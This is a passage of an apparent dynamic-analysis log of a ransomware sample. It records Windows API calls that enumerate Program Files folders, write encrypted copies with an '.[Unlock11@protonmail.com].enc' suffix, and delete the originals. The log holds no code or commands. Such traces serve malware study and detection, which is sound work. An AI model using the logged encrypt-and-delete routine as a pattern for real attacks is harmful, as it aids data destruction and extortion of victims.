lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.039] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.039] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.039] CreateFileA (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\internet explorer\\ielowutil.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0229.039] GetFileType (hFile=0x39c) returned 0x1 [0229.039] GetFileType (hFile=0x39c) returned 0x1 [0229.039] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.040] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.040] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.040] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.040] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.040] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.040] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.048] CloseHandle (hObject=0x39c) returned 1 [0229.048] CloseHandle (hObject=0x334) returned 1 [0229.049] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files (x86)\\internet explorer\\ielowutil.exe")) returned 0 [0229.049] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\IEShims.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Internet Explorer\\IEShims.dll", lpFilePart=0x9bada4*="IEShims.dll") returned 0x34 [0229.049] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0229.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0229.049] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0229.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0229.049] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", lpFilePart=0x9bada4*="iexplore.exe") returned 0x35 [0229.050] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0229.050] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0229.050] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0229.050] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0229.050] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files (x86)\\internet explorer\\iexplore.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa182b3a4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa1c0b0e4, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x8d39e400, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xc8d40)) returned 1 [0229.050] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671a84 | out: pbBuffer=0x3671a84) returned 1 [0229.050] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0229.050] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3958 [0229.050] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0229.051] CreateFileA (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files (x86)\\internet explorer\\iexplore.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0229.051] GetFileType (hFile=0x334) returned 0x1 [0229.051] GetFileType (hFile=0x334) returned 0x1 [0229.051] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.051] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.051] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.051] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.052] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.052] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.052] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.052] CreateFileA (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\internet explorer\\iexplore.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0229.052] GetFileType (hFile=0x39c) returned 0x1 [0229.052] GetFileType (hFile=0x39c) returned 0x1 [0229.052] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.053] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.053] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.053] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.053] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.053] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.053] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.166] CloseHandle (hObject=0x39c) returned 1 [0229.166] CloseHandle (hObject=0x334) returned 1 [0229.166] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files (x86)\\internet explorer\\iexplore.exe")) returned 0 [0229.167] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll", lpFilePart=0x9bada4*="sqmapi.dll") returned 0x33 [0229.167] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0229.167] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc12f0c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f74d0 [0229.167] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc12f0c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0229.167] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x408b2676, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x69769e00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1 [0229.168] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x409e61df, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f3c6579, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x76938d00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="ieinstal.exe.mui", cAlternateFileName="")) returned 1 [0229.168] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2212c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x74ccc800, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 1 [0229.168] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2212c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x74ccc800, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 0 [0229.168] FindClose (in: hFindFile=0x10f74d0 | out: hFindFile=0x10f74d0) returned 1 [0229.168] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\hmmapi.dll.mui")) returned 0x20 [0229.169] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887380 | out: hHeap=0x2ad0000) returned 1 [0229.169] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0229.169] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\ieinstal.exe.mui")) returned 0x20 [0229.169] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38874a0 | out: hHeap=0x2ad0000) returned 1 [0229.169] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\iexplore.exe.mui")) returned 0x20 [0229.169] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887338 | out: hHeap=0x2ad0000) returned 1 [0229.170] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui", lpFilePart=0x9bada4*="hmmapi.dll.mui") returned 0x3d [0229.170] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0229.170] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0229.170] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0229.170] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0229.170] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui", lpFilePart=0x9bada4*="ieinstal.exe.mui") returned 0x3f [0229.170] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0229.170] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui", lpFilePart=0x9bada4*="iexplore.exe.mui") returned 0x3f [0229.171] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\images\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc12f4a8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7a50 [0229.171] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc12f4a8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0229.171] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc12f4a8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 0 [0229.171] FindClose (in: hFindFile=0x10f7a50 | out: hFindFile=0x10f7a50) returned 1 [0229.171] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0229.172] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93a39, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7510 [0229.172] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93a39, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0229.172] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c4430, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x971e5734, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x971e5734, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="install.ins", cAlternateFileName="")) returned 1 [0229.172] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c4430, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x971e5734, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x971e5734, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="install.ins", cAlternateFileName="")) returned 0 [0229.172] FindClose (in: hFindFile=0x10f7510 | out: hFindFile=0x10f7510) returned 1 [0229.173] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files (x86)\\internet explorer\\signup\\install.ins")) returned 0x20 [0229.174] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887698 | out: hHeap=0x2ad0000) returned 1 [0229.174] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0229.174] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins", lpFilePart=0x9bada4*="install.ins") returned 0x3b [0229.174] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0229.174] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc211eecb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x740253b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x740253b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f77d0 [0229.175] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc211eecb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x740253b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x740253b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0229.175] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc211eecb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x740253b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x740253b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 0 [0229.175] FindClose (in: hFindFile=0x10f77d0 | out: hFindFile=0x10f77d0) returned 1 [0229.175] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcd236209, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xcd236209, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7a10 [0229.175] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcd236209, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xcd236209, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0229.176] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xbc17eb24, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4adfea18, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="Primary Interop Assemblies", cAlternateFileName="PRIMAR~1")) returned 1 [0229.176] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc17f062, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7340c2, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1 [0229.176] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7072c9d0, ftCreationTime.dwHighDateTime=0x1d4bb91, ftLastAccessTime.dwLowDateTime=0x5f749ce0, ftLastAccessTime.dwHighDateTime=0x1d506db, ftLastWriteTime.dwLowDateTime=0x5f749ce0, ftLastWriteTime.dwHighDateTime=0x1d506db, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="tvthee.exe", cAlternateFileName="")) returned 1 [0229.176] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7072c9d0, ftCreationTime.dwHighDateTime=0x1d4bb91, ftLastAccessTime.dwLowDateTime=0x5f749ce0, ftLastAccessTime.dwHighDateTime=0x1d506db, ftLastWriteTime.dwLowDateTime=0x5f749ce0, ftLastWriteTime.dwHighDateTime=0x1d506db, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="tvthee.exe", cAlternateFileName="")) returned 0 [0229.176] FindClose (in: hFindFile=0x10f7a10 | out: hFindFile=0x10f7a10) returned 1 [0229.176] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies")) returned 0x30 [0229.179] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887890 | out: hHeap=0x2ad0000) returned 1 [0229.179] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0229.179] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist")) returned 0x10 [0229.180] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0229.180] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\tvthee.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\tvthee.exe")) returned 0x20 [0229.180] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0229.180] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0229.180] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\tvthee.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft.NET\\tvthee.exe", lpFilePart=0x9bada4*="tvthee.exe") returned 0x2f [0229.180] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0229.180] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0229.180] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0229.181] HeapFree (in: hHeap=0x2ad0000, 